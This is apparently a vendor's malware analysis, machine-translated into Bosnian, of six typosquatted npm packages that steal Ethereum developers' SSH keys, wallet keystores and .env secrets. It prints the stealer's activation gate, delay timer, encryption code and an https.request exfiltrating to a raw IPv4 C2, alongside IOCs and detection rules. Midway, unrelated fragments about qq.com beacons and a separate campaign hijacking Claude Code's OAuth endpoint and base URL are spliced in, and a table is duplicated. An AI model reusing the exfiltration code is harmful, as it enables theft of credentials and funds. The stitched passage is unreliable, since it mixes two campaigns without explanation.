TL; DR
6. maja 2026. godine, jedan npm izdavač, namikazesarada010206, plasirao je šest zlonamjernih paketa usmjerenih na ekosistem programera Ethereuma, Solidityja i DeFi-ja.
Paketi, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, I web3-utils-core, koristili su uvjerljiva imena dizajnirana da izgledaju kao pomoćne biblioteke za popularne Web3 alate.
Svih šest paketa sadržavalo je isto telemetry.js datoteka. Datoteka je bila identična po bajtovima u cijelom klasteru, sa SHA-256:
Zlonamjerni softver se ne izvršava prilikom instalacije. Nema preinstall or postinstall kuka. Umjesto toga, aktivira se kada se paket uveze putem require().
Taj detalj je bitan.
Implantat čeka dok programer zapravo ne koristi paket. Zatim provjerava da li radna stanica izgleda kao pravo Ethereum / Solidity razvojno okruženje. Traži Alchemy ili Infura ključeve, privatne ključeve, mnemonike, deployer ključeve ili lokalni Foundry direktorij.
Ako se host podudara, kradljivac prikuplja SSH privatne ključeve, skladišta ključeva Foundry / Geth / Brownie novčanika, .env* datoteke i osjetljive varijable okruženja. Šifrira paket pomoću AES-256-GCM-a koristeći čvrsto kodiranu lozinku i eksfiltrira ga do sirove IPv4 C2 krajnje tačke sa onemogućenom TLS verifikacijom.
Xygenijev sistem za rano upozoravanje na zlonamjerni softver (MEW) potvrdio je da je svih šest paketa zlonamjerno. Izvještaj o uklanjanju iz registra npm paketa je na čekanju.
Klaster: Šest paketa, jedan izdavač
Račun izdavača namikazesarada010206 je povezano sa neprovjerenom Gmail adresom namikazesarada010206@gmail.com.
Kampanja se pojavila kao jednodnevni publikacijski nalet 6. maja 2026. Svih šest paketa je verzionirano kao 1.0.0, nije imao nikakvih zavisnosti tokom izvođenja i isporučio je samo tri datoteke:
package.json index.js telemetry.js Također su deklarirali isti izvorni repozitorij:
https://github.com/harunosakura030303-maker/evmchain-config Prva tri paketa su otkrivena MEW skenerima prilikom prve objave. Preostala tri su prisilno označena nakon što su analitičari pregledali npm profil izdavača. Nekada isti bajtovi identični... telemetry.js je potvrđeno u cijelom klasteru, zatvoreni su kao zlonamjerni zbog konzistentnosti.
| paket | verzija | Objavljeno u npm-u | MEW ulaznica | presuda |
|---|---|---|---|---|
| viem-core | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | Zlonamerni |
| viem-utils-core | 1.0.0 | 2026-05-06 | #51050 | Zlonamerni |
| hardhat-core-utils | 1.0.0 | 2026-05-06 | #51051 | Zlonamerni |
| evm-utils | 1.0.0 | 2026-05-06 | #51069 | Zlonamjerno, po konzistentnosti |
| foundry-utils | 1.0.0 | 2026-05-06 | #51071 | Zlonamjerno, po konzistentnosti |
| web3-utils-core | 1.0.0 | 2026-05-06 | #51070 | Zlonamjerno, po konzistentnosti |
Strategija imenovanja je jednostavna, ali efikasna.
Ovi paketi ne oponašaju tačna imena uzvodnih paketa. Umjesto toga, koriste uvjerljive sufikse "utility" kao što su -core, -utils, I -utils-coreZbog toga izgledaju kao prateće biblioteke koje bi programer očekivao da vidi blizu Web3 alata.
| Zlonamjerni paket | Legitimna meta |
|---|---|
| viem-core | Viem, popularni Ethereum TypeScript klijent |
| viem-utils-core | viem |
| hardhat-core-utils | hardhat, uobičajeno Solidity razvojno okruženje |
| evm-utils | Generički imenski prostor EVM alata |
| foundry-utils | ljevaonica, Solidity alatni lanac |
| web3-utils-core | web3-utils, Web3.js pomoćnici |
Ovo je obrazac „dopunskog paketa“: ne „Ja sam pravi paket“, već „Izgledam kao razuman pomagač oko pravog paketa“.
Za DeFi developere koji se brzo kreću, to je dovoljno da stvori rizik.
Šta se dešava kada se paket uveze
Lanac napada je mali, namjeran i fokusiran na kripto-razvojna okruženja.
Nema kuke za instalaciju. Umjesto toga, svaki paket uključuje index.js koji izvozi funkcionalnost stuba, a zatim učitava zlonamjerni telemetrijski modul.
require('./telemetry').init(); To znači da se zlonamjerni softver aktivira pri prvom uvozu.
To je operativno korisno za napadača. Mnogi skeneri i sandbox okruženja fokusiraju se na ponašanje prilikom instalacije. Ovaj paket čeka dok ga programer, skripta za izgradnju, testni paket ili runtime putanja zapravo ne koristi.
Aktivacijska kapija: Aktivira se samo na pravim Web3 programerskim radnim stanicama
Najvažniji dio implantata je aktivacijska kapija.
Zlonamjerni softver provjerava varijable okruženja koje se obično nalaze na mašinama programera Ethereuma / Solidityja:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean); Također provjerava da li je Foundry instaliran:
fs.existsSync(path.join(os.homedir(), '.foundry')) Ako nijedan uslov nije tačan, funkcija vraća vrijednost i ne radi ništa.
To čini paket tišim u generičkim analitičkim okruženjima. Sandbox bez Foundryja, Alchemy ključeva, Infura ključeva, privatnih ključeva ili mnemonika može izgledati bezopasno.
Na odgovarajućem hostu, zlonamjerni softver čeka 60 do 90 sekundi prije prikupljanja:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref(); Kašnjenje smanjuje očiglednu korelaciju između uvoza i iznošenja. .unref() poziv također omogućava host procesu da se normalno završi ako je paket uvezen u kratkotrajnoj skripti.
Ovo nije bučno ponašanje "smash-and-grab". To je ciljani kradljivac dizajniran da izbjegne pokretanje osim ako se isplati krasti iz razvojnog okruženja.
Šta kradljivac sakuplja
Nakon što prođe aktivacijsku kapiju, zlonamjerni softver prikuplja podatke iz izvora koji su najvažniji u Web3 razvoju: privatnih ključeva, spremišta ključeva novčanika, vjerodajnica za implementaciju, tajnih podataka u oblaku, npm tokena i konfiguracije lokalnog projekta.
| izvor | Šta se prikuplja |
|---|---|
| process.env | Bilo koja varijabla koja odgovara /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Datoteke koje sadrže PRIVATE KEY ili BEGIN OPENSSH, uključujući puni sadržaj datoteke |
| ~/.foundry/keystore/* | Datoteke skladišta ključeva Foundry novčanika |
| ~/.ethereum/skladište ključeva/* | Datoteke spremišta ključeva Geth novčanika |
| ~/.brownie/accounts/* | Datoteke spremišta ključeva Brownie novčanika |
| ${cwd}/.env | Puni sadržaj datoteke |
| ${cwd}/.env.local | Puni sadržaj datoteke |
| ${cwd}/.env.production | Puni sadržaj datoteke |
| ${cwd}/.env.development | Puni sadržaj datoteke |
| os.hostname() | Metapodaci hosta |
| kripto.randomUUID() | Identifikator žrtve/sesije |
| Datum.sada() | Vremenska oznaka prikupljanja |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com ATTA tokeni su:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937 Nismo bili u mogućnosti potvrditi da li je telemetrija bila analitika samog operatera ili zasebno monetizirani kanal. ATTA tokeni su isti u oba uzorka koja smo ispitali.
Klaster B: heibai
claude.hk OAuth Phishing + Otmica ANTHROPIC_BASE_URL-a
Uzorak od 1. aprila je grublji, raniji dio kampanje.
heibai:2.1.88-claude.hk-4 je objavio wuguoqiangvip28, račun kreiran 7. juna 2025. Paket se eksplicitno verzionirao protiv legitimne 2.1.88 Antropno oslobađanje.
Ne zamara se CA-cert MITM-om. Umjesto toga, laže korisniku o OAuth krajnjoj tački.
Zlonamjerni dodaci pored procurelog izvornog koda Claude Code uključuju:
| izvor | Šta se prikuplja |
|---|---|
| process.env | Bilo koja varijabla koja odgovara /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Datoteke koje sadrže PRIVATE KEY ili BEGIN OPENSSH, uključujući puni sadržaj datoteke |
| ~/.foundry/keystore/* | Datoteke skladišta ključeva Foundry novčanika |
| ~/.ethereum/skladište ključeva/* | Datoteke spremišta ključeva Geth novčanika |
| ~/.brownie/accounts/* | Datoteke spremišta ključeva Brownie novčanika |
| ${cwd}/.env | Puni sadržaj datoteke |
| ${cwd}/.env.local | Puni sadržaj datoteke |
| ${cwd}/.env.production | Puni sadržaj datoteke |
| ${cwd}/.env.development | Puni sadržaj datoteke |
| os.hostname() | Metapodaci hosta |
| kripto.randomUUID() | Identifikator žrtve/sesije |
| Datum.sada() | Vremenska oznaka prikupljanja |
Ciljna lista je vrlo specifična. Ovo nije generička krađa preglednika ili široko korištenje akreditiva. Namijenjena je programerima koji grade, testiraju, implementiraju ili upravljaju Ethereum aplikacijama.
Uključivanje Foundry, Geth i Brownie skladišta ključeva je posebno važno. Ove datoteke mogu predstavljati direktan pristup novčanicima ili identitetima implementacije. Ako ih napadač može upariti s lozinkama, mnemonicima ili tajnama okruženja, mogao bi premjestiti sredstva, lažno se predstaviti kao implementatori ili ugroziti operacije pametnih ugovora.
Šifriranje prije eksfiltracije
Zlonamjerni softver šifrira prikupljene podatke prije slanja.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv); Fiksno kodirana lozinka je:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d Konačni korisni teret je upakovan kao JSON:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"} Šifriranje samo po sebi ne čini zlonamjerni softver naprednijim. Međutim, otežava inspekciju mreže. Branilac koji nadgleda izlaz bi vidio JSON sadržaj, ali ne i ukradene ključeve, datoteke novčanika ili... .env sadržaj bez čvrsto kodirane lozinke i logike dešifriranja.
Eksfiltracija na sirovi IPv4 C2
Putanja za izvlačenje je fiksno kodirana:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {}); Zlonamjerni softver šalje podatke na:
https://76.13.37.80:8443/api/v1/telemetry Dva detalja se ističu.
Prvo, C2 je sirova IPv4 adresa, a ne domena. To uklanja potrebu za registracijom domene i izbjegava neke detekcije zasnovane na domeni.
Drugo, TLS verifikacija je onemogućena sa:
rejectUnauthorized: false To omogućava zlonamjernom softveru da prihvati bilo koji certifikat, uključujući i samopotpisane certifikate. Drugim riječima, napadač dobija šifrirani transport bez potrebe za važećim javnim certifikatom.
Ne postoji logika ponovnog pokušaja niti rezervni host. Greške se tiho "progutaju". Ovo održava paket tihim ako je C2 van mreže ili nedostupan.
Zašto je ova kampanja važna
Većina zlonamjernih npm paketa namijenjenih programerima juri široke akreditive: npm tokene, AWS ključeve, GitHub tokene ili .npmrc datoteke.
Ova kampanja sužava cilj.
Traži znakove da mašina pripada Ethereum ili Solidity programeru. Zatim uzima tačno onu imovinu koja je bitna u tom okruženju: skladišta ključeva novčanika, privatne ključeve, mnemonike, ključeve implementatora, .env datoteke i SSH ključeve.
To čini kampanju opasnijom za Web3 timove nego generički npm kradljivac.
Uspješna infekcija može otkriti:
- Novčanici za implementaciju
- Administratorski ključevi pametnih ugovora
- Ključevi RPC provajdera
- Akreditivi za implementaciju u oblaku
- npm tokeni za objavljivanje
- SSH pristup infrastrukturi za razvojne programere ili izgradnju
- Tajne projekta pohranjene u
.envdatoteke - Spremišta ključeva novčanika za Foundry, Geth ili Brownie
Nazivi paketa također pokazuju jasan socijalni inženjering. Oni ciljaju ekosistem Web3 programera putem poznatih naziva alata: viem, hardhat, foundry, evm, I web3.
Akter ne mora kompromitovati stvarne projekte. Potreban im je samo programer koji će instalirati ono što izgleda kao razuman prateći paket.
Indikatori kompromitacije i detekcije
| Paketi i izdavač | |
|---|---|
| polje | vrijednost |
| npm izdavač | namikazesarada010206 |
| E-pošta izdavača | namikazesarada010206@gmail.com |
| email verifikovan | Ne |
| SCM verifikovan | Ne |
| Rezultat reputacije | 1.0 |
| paketi | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, livnica-utils, web3-utils-core |
| verzije | Svi 1.0.0 |
| Izvorni repozitorij | https://github.com/harunosakura030303-maker/evmchain-config |
| Potvrđeno zlonamjerno | Svih šest paketa |
| mreža | |
|---|---|
| tip | vrijednost |
| C2 krajnja tačka | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP | 76.13.37.80 |
| C2 port | 8443/tcp |
| Ponašanje TLS-a | odbitiNeovlašteno: netačno |
| Šema korisnog tereta | {"v":2,"iv": ,,d": ,,t": } |
| Datoteke i heševi | |
|---|---|
| tip | vrijednost |
| telemetry.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Raspored paketa | package.json, index.js, telemetry.js |
| Broj datoteka | 3 |
| Približna ukupna veličina | 3.4 KB |
Signali aktivacije
Zlonamjerni softver provjerava ove varijable okruženja:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY Također provjerava:
~/.foundry/ Ciljane putanje hosta
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development Regeks kolekcije
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i Bilješke o detekciji
Nekoliko pravila obuhvata ovu kampanju bez potrebe za potpunom analizom ponašanja.
Prvo, skenirajte lockfiles za šest zlonamjernih naziva paketa:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core Bilo koja utakmica u package-lock.json, yarn.lock, pnpm-lock.yaml, ili node_modules historiju treba tretirati kao ozbiljan incident.
Drugo, pratite Node.js procese koji čitaju putanje spremišta ključeva novčanika:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/ Ovo rijetko predstavlja legitimno ponašanje za paket uvezen kao pomoćna zavisnost. Posebno je sumnjivo kada ga prati aktivnost na mreži prema van.
Treće, blokirajte ili upozorite na HTTPS veze kako biste:
76.13.37.80:8443 Pogotovo kada je putanja zahtjeva:
/api/v1/telemetry Četvrto, potražite npm pakete koji kombinuju ove osobine:
- Novi ili izdavač sa niskom reputacijom
- Nepotvrđeni Gmail račun
- Naziv paketa susjednog Web3-u
- Nema značajne historije repozitorija
- Raspored malog pakovanja
index.jskoji učitava telemetriju ili pomoćnu datoteku- Nema zavisnosti od vremena izvođenja
- Kolekcija osjetljivih varijabli okruženja
- Pristup spremištu ključeva novčanika
Ovaj obrazac je korisniji od jednog IOC-a jer sljedeći paket može promijeniti IP adresu, ali zadržati istu logiku ciljanja.
Kontrolna lista za odgovor na kompromis
Ako je programer koristio jedan od šest paketa i njegovo okruženje se podudaralo s aktivacijskom kapijom, radna stanica se tretira kao kompromitovana.
To uključuje mašine sa instaliranim Foundryjem, Alchemy ili Infura ključevima u okruženju, privatnim ključevima, mnemonicima ili ključevima deployera.
Preporučeni odgovor:
- Isključite host sa mreže.
- Očuvaj
node_modules, lockfiles, historija ljuske i relevantni logovi za forenziku. - Rotirajte svaki SSH par ključeva ispod
~/.ssh/. - Rotirajte ključeve novčanika za svako spremište ključeva ispod
~/.foundry,~/.ethereum, I~/.brownie. - Prebacite sredstva u nove novčanike.
- Rotirajte svaku tajnu pohranjenu u
.env*datoteke u repozitorijumima u kojima je programer radio. - Rotirajte tajne okruženja koje odgovaraju regularnom izrazu kolekcije, uključujući AWS ključeve, npm tokene, tokene za implementaciju, API ključeve, privatne ključeve, početne vrijednosti i mnemonike.
- Pratite aktivnosti u oblaku, npm-u, GitHubu, RPC provajderu i blockchainu od prve instalacije paketa.
- Ponovo napravite sliku radne stanice prije ponovne upotrebe.
Šta bi branioci trebali ponijeti sa sobom
Ova kampanja pokazuje kako se tiposquatting u npm-u razvija oko ekosistema visokovrijednih programera.
Akteru nije bila potrebna perzistencija. Nije im bila potrebna obfuskacija. Nije im čak bilo potrebno ni izvršavanje tokom instalacije.
Umjesto toga, oslanjali su se na tri stvari:
- Vjerovatna imena Web3 paketa
- Aktivacija samo na pravim mašinama za razvoj kriptovaluta
- Direktna krađa datoteka i tajni koje su najvažnije programerima Ethereuma
Zbog toga je kampanju lako previdjeti pri širokom skeniranju i opasna je kada se nađe u pravom okruženju.
Za Web3 timove, lekcija je jasna: tretirajte imena zavisnosti kao dio vašeg modela prijetnje. Paket koji izgleda kao bezopasni pomagač i dalje može postati najkraći put do kompromitacije novčanika.
Prijavljeno npm registru. Ažurirat ćemo ovu objavu kada se uklone izdavački račun i paketi.




